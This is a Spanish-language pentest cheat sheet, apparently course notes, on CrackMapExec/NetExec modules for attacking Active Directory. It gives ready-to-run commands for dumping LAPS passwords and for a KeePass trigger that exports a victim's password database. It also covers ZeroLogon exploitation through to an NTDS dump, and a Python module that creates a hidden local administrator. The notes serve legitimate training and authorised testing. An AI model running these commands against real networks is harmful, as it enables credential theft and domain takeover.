Skip to content

Popular Modules

CME/NXC tiene más de 50 módulos para LDAP y SMB que facilitan tareas de enumeración y post-explotación. La mayoría de módulos SMB requieren privilegios de administrador.

Links: CrackMapExec Wiki | NetExec Docs | adidnsdump | KeePass Triggers


Módulos LDAP

get-network

Enumera todos los registros DNS del dominio vía LDAP. Cualquier usuario del dominio puede usarlo.

bash
# Solo IPs (default)
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M get-network
netexec ldap dc01.domain.local -u <user> -p '<password>' -M get-network

# IPs y nombres de host
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M get-network -o ALL=true
netexec ldap dc01.domain.local -u <user> -p '<password>' -M get-network -o ALL=true

# Solo FQDNs (sin IP)
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M get-network -o ONLY_HOSTS=true
netexec ldap dc01.domain.local -u <user> -p '<password>' -M get-network -o ONLY_HOSTS=true

El log se guarda en ~/.cme/logs/<dominio>_network_<fecha>.log.

laps

Recupera contraseñas LAPS de computadoras. Requiere una cuenta con permisos de lectura LAPS.

bash
# Todas las computadoras
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M laps
netexec ldap dc01.domain.local -u <user> -p '<password>' -M laps

# Computadora específica o con wildcard
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M laps -o COMPUTER=MS01
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M laps -o COMPUTER=WIN-*
netexec ldap dc01.domain.local -u <user> -p '<password>' -M laps -o COMPUTER=MS01

MAQ

Obtiene el atributo MachineAccountQuota, que indica cuántas máquinas puede unir al dominio un usuario estándar. Relevante para ataques como Resource Based Constrained Delegation.

bash
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M maq
netexec ldap dc01.domain.local -u <user> -p '<password>' -M maq

daclread

Lee y exporta los DACLs de objetos de AD. No lee DACLs recursivamente.

bash
# Ver opciones
crackmapexec ldap -M daclread --options
netexec ldap -M daclread --options

# Leer ACEs de un usuario específico
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M daclread -o TARGET=<usuario> ACTION=read
netexec ldap dc01.domain.local -u <user> -p '<password>' -M daclread -o TARGET=<usuario> ACTION=read

# Buscar quién tiene derechos DCSync
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M daclread -o TARGET_DN="DC=domain,DC=local" ACTION=read RIGHTS=DCSync
netexec ldap dc01.domain.local -u <user> -p '<password>' -M daclread -o TARGET_DN="DC=domain,DC=local" ACTION=read RIGHTS=DCSync

# Backup de DACLs
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M daclread -o TARGET=<usuario> ACTION=backup

Opciones de daclread

  • TARGET — Objeto por SamAccountName
  • TARGET_DN — Objeto por Distinguished Name (útil para el dominio completo)
  • PRINCIPAL — Filtrar por trustee específico
  • ACTIONread o backup
  • ACE_TYPEAllowed o Denied
  • RIGHTSFullControl, ResetPassword, WriteMembers, DCSync
  • RIGHTS_GUID — GUID específico de un derecho

Módulos SMB

get_netconnections

Usa WMI para enumerar todas las IPs del target incluyendo IPv6 y secundarias. Útil para identificar hosts con múltiples interfaces de red.

bash
crackmapexec smb <IP> -u <user> -p '<password>' -M get_netconnections
netexec smb <IP> -u <user> -p '<password>' -M get_netconnections

ioxidresolver

Usa RPC para enumerar IPs del target. No incluye IPv6 pero es más sigiloso que get_netconnections.

bash
crackmapexec smb <IP> -u <user> -p '<password>' -M ioxidresolver
netexec smb <IP> -u <user> -p '<password>' -M ioxidresolver

keepass_discover

Busca procesos, archivos de configuración y bases de datos KeePass en el target.

bash
crackmapexec smb <IP> -u <user> -p '<password>' -M keepass_discover
netexec smb <IP> -u <user> -p '<password>' -M keepass_discover

keepass_trigger

Inyecta un trigger malicioso en el archivo de configuración de KeePass para exportar la base de datos en texto claro cuando el usuario la abra.

Nota: Este módulo no es opsec safe. CME pedirá confirmación.

bash
# Paso 1 - Agregar trigger al config de KeePass
crackmapexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=ADD KEEPASS_CONFIG_PATH=C:/Users/<user>/AppData/Roaming/KeePass/KeePass.config.xml

netexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=ADD KEEPASS_CONFIG_PATH=C:/Users/<user>/AppData/Roaming/KeePass/KeePass.config.xml

# Paso 2 - Reiniciar KeePass para que cargue el config modificado
crackmapexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=RESTART USER=<usuario_keepass>

netexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=RESTART USER=<usuario_keepass>

# Paso 3 - Esperar que el usuario ingrese la master password y hacer poll del export
crackmapexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=POLL
netexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=POLL

# Paso 4 - Limpiar el config y eliminar rastros
crackmapexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=CLEAN KEEPASS_CONFIG_PATH=C:/Users/<user>/AppData/Roaming/KeePass/KeePass.config.xml

netexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=CLEAN KEEPASS_CONFIG_PATH=C:/Users/<user>/AppData/Roaming/KeePass/KeePass.config.xml

# Todo en uno - ejecuta ADD + RESTART + POLL + CLEAN + extrae passwords
crackmapexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=ALL KEEPASS_CONFIG_PATH=C:/Users/<user>/AppData/Roaming/KeePass/KeePass.config.xml

netexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=ALL KEEPASS_CONFIG_PATH=C:/Users/<user>/AppData/Roaming/KeePass/KeePass.config.xml

El export se guarda en /tmp/export.xml. Si el módulo falla al imprimir el password, buscarlo ahí manualmente:

bash
cat /tmp/export.xml | grep -i protectinmemory -A 5

rdp - Habilitar/Deshabilitar RDP

bash
# Habilitar RDP
crackmapexec smb <IP> -u <user> -p '<password>' -M rdp -o ACTION=enable
netexec smb <IP> -u <user> -p '<password>' -M rdp -o ACTION=enable

# Deshabilitar RDP
crackmapexec smb <IP> -u <user> -p '<password>' -M rdp -o ACTION=disable
netexec smb <IP> -u <user> -p '<password>' -M rdp -o ACTION=disable

Listar todos los módulos disponibles

bash
# Módulos LDAP
crackmapexec ldap -L
netexec ldap -L

# Módulos SMB
crackmapexec smb -L
netexec smb -L

Vulnerability Scan Modules

CME incluye módulos para verificar vulnerabilidades conocidas en Domain Controllers. La mayoría son solo de detección, no explotan la vulnerabilidad directamente. Se recomienda usar Proxychains si el DC no es accesible directamente.

Links: CrackMapExec Wiki | NetExec Docs | ZeroLogon CVE-2020-1472 | PetitPotam | noPAC PoC | DFSCoerce PoC | ShadowCoerce PoC | MS17-010 | CVE-2020-1472 Exploit


ZeroLogon (CVE-2020-1472)

Permite a un atacante no autenticado tomar control del dominio simplemente teniendo acceso de red al DC. No requiere credenciales.

bash
# Sin credenciales
crackmapexec smb <IP_DC> -M zerologon
netexec smb <IP_DC> -M zerologon

# Con Proxychains
proxychains4 -q crackmapexec smb <IP_DC> -M zerologon
proxychains4 -q netexec smb <IP_DC> -M zerologon

Explotar ZeroLogon

bash
# Clonar el PoC
git clone https://github.com/dirkjanm/CVE-2020-1472

# Explotar (pone la contraseña del DC$ a vacío)
proxychains4 -q python3 cve-2020-1472-exploit.py <nombre_DC> <IP_DC>

# Dumpear NTDS con la cuenta DC$ sin contraseña
proxychains4 -q crackmapexec smb <IP_DC> -u 'DC01$' -p '' --ntds
proxychains4 -q netexec smb <IP_DC> -u 'DC01$' -p '' --ntds

Importante: Resetear el target después de explotar ZeroLogon en un lab.


PetitPotam

Ataque NTLM relay clásico que aprovecha MS-EFSRPC para forzar autenticación del DC contra un servidor controlado por el atacante.

bash
crackmapexec smb <IP_DC> -M petitpotam
netexec smb <IP_DC> -M petitpotam

proxychains4 -q crackmapexec smb <IP_DC> -M petitpotam
proxychains4 -q netexec smb <IP_DC> -M petitpotam

noPAC (CVE-2021-42278 / CVE-2021-42287)

Permite escalar de usuario estándar del dominio a Domain Admin. Requiere credenciales de dominio.

bash
crackmapexec smb <IP_DC> -u <user> -p '<password>' -M nopac
netexec smb <IP_DC> -u <user> -p '<password>' -M nopac

proxychains4 -q crackmapexec smb <IP_DC> -u <user> -p '<password>' -M nopac
proxychains4 -q netexec smb <IP_DC> -u <user> -p '<password>' -M nopac

DFSCoerce

Ataque NTLM relay usando MS-DFSNM. Requiere usuario de dominio.

bash
crackmapexec smb <IP_DC> -u <user> -p '<password>' -M dfscoerce
netexec smb <IP_DC> -u <user> -p '<password>' -M dfscoerce

proxychains4 -q crackmapexec smb <IP_DC> -u <user> -p '<password>' -M dfscoerce
proxychains4 -q netexec smb <IP_DC> -u <user> -p '<password>' -M dfscoerce

ShadowCoerce

Similar a PetitPotam, usa VSS (Volume Shadow Copy Service). Si el módulo no muestra output, el DC no es vulnerable. Para ver el resultado usar --verbose.

bash
crackmapexec smb <IP_DC> -u <user> -p '<password>' -M shadowcoerce
netexec smb <IP_DC> -u <user> -p '<password>' -M shadowcoerce

# Con verbose para ver si es vulnerable o no
crackmapexec --verbose smb <IP_DC> -u <user> -p '<password>' -M shadowcoerce
netexec --verbose smb <IP_DC> -u <user> -p '<password>' -M shadowcoerce

MS17-010 (EternalBlue)

RCE no autenticado en el servicio SMB. No requiere credenciales.

bash
crackmapexec smb <IP_DC> -M ms17-010
netexec smb <IP_DC> -M ms17-010

proxychains4 -q crackmapexec smb <IP_DC> -M ms17-010
proxychains4 -q netexec smb <IP_DC> -M ms17-010

Modo verbose para módulos sin output

Algunos módulos usan logging.debug en lugar de output directo. Para verlos:

bash
crackmapexec --verbose smb <IP> -u <user> -p '<password>' -M <modulo>
netexec --verbose smb <IP> -u <user> -p '<password>' -M <modulo>

Creating Our Own CME Module

Los módulos de CME son scripts Python ubicados en ./CrackMapExec/cme/modules/. Se pueden crear módulos personalizados y contribuirlos a la comunidad vía Pull Request.

Links: CrackMapExec Wiki | NetExec Docs | Poetry | GitHub PR Guide


Estructura base de un módulo

python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

class CMEModule:
    '''
    Descripción del módulo y autor
    '''

    name = 'nombre_modulo'          # Nombre con el que se llama con -M
    description = "Descripción"     # Descripción corta
    supported_protocols = ['smb']   # Protocolos soportados: smb, ldap, mssql, winrm, ssh
    opsec_safe = True               # True si no deja rastros en disco
    multiple_hosts = True           # True si se puede usar contra múltiples targets

    def options(self, context, module_options):
        '''
        OPCION1    Descripción de la opción 1
        OPCION2    Descripción de la opción 2
        '''
        # Definir variables con valores por defecto
        self.variable = "valor_default"
        if 'OPCION1' in module_options:
            if module_options['OPCION1'] == "":
                context.log.error('Valor inválido para OPCION1!')
                exit(1)
            self.variable = module_options['OPCION1']

    # Se ejecuta cuando el usuario está autenticado pero NO es admin
    def on_login(self, context, connection):
        pass

    # Se ejecuta cuando el usuario está autenticado Y es admin (Pwn3d!)
    def on_admin_login(self, context, connection):
        command = 'whoami'
        context.log.info('Ejecutando comando')
        p = connection.execute(command, True)
        context.log.highlight(p)

Métodos disponibles

  • on_login — Se ejecuta con cualquier usuario autenticado. Útil para enumeración sin privilegios (shares, política, usuarios, etc.)
  • on_admin_login — Se ejecuta solo cuando el usuario tiene (Pwn3d!). Permite ejecutar comandos del sistema.

Métodos de output

python
context.log.info('Mensaje informativo')       # Color normal
context.log.highlight('Resultado importante') # Color destacado (verde)
context.log.error('Mensaje de error')         # Color rojo
context.log.success('Operación exitosa')      # Color verde

Ejecutar comandos en el target

python
# Ejecutar comando CMD
p = connection.execute('whoami', True)
context.log.highlight(p)

# El segundo argumento True hace que devuelva el output
# Si es False, ejecuta sin capturar output

Ejemplo completo - Módulo createadmin

Crea una cuenta de administrador local en el target.

python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

class CMEModule:
    '''
    Crea una nueva cuenta de administrador en el target.
    Module by @juliourena
    '''

    name = 'createadmin'
    description = "Create a new administrator account"
    supported_protocols = ['smb']
    opsec_safe = True
    multiple_hosts = True

    def options(self, context, module_options):
        '''
        USER    Username para la cuenta. Default: plaintext
        PASS    Password para la cuenta. Default: HackTheBoxCME1337!
        '''
        self.user = "plaintext"
        if 'USER' in module_options:
            if module_options['USER'] == "":
                context.log.error('Valor inválido para USER!')
                exit(1)
            self.user = module_options['USER']

        self.password = "HackTheBoxCME1337!"
        if 'PASS' in module_options:
            if module_options['PASS'] == "":
                context.log.error('Valor inválido para PASS!')
                exit(1)
            self.password = module_options['PASS']

    def on_admin_login(self, context, connection):
        context.log.info('Creando usuario: {} con pass: {}'.format(self.user, self.password))
        command = '(net user ' + self.user + ' "' + self.password + '" /add /Y && net localgroup administrators ' + self.user + ' /add)'
        context.log.info('Ejecutando comando')
        p = connection.execute(command, True)
        context.log.highlight(p)

Usar el módulo personalizado

bash
# Con valores por defecto
crackmapexec smb <IP> -u <user> -p '<password>' -M createadmin
netexec smb <IP> -u <user> -p '<password>' -M createadmin

# Con opciones personalizadas
crackmapexec smb <IP> -u <user> -p '<password>' -M createadmin -o USER=nuevouser PASS=NuevaPass123!
netexec smb <IP> -u <user> -p '<password>' -M createadmin -o USER=nuevouser PASS=NuevaPass123!

Ubicación de módulos

bash
# Módulos de CME
ls ./CrackMapExec/cme/modules/

# Ver código fuente de un módulo existente para aprender
cat ./CrackMapExec/cme/modules/procdump.py
cat ./CrackMapExec/cme/modules/user_description.py

Compilar CME con Poetry tras modificar módulos

bash
cd CrackMapExec
poetry run crackmapexec smb <IP> -u <user> -p '<password>' -M <nuevo_modulo>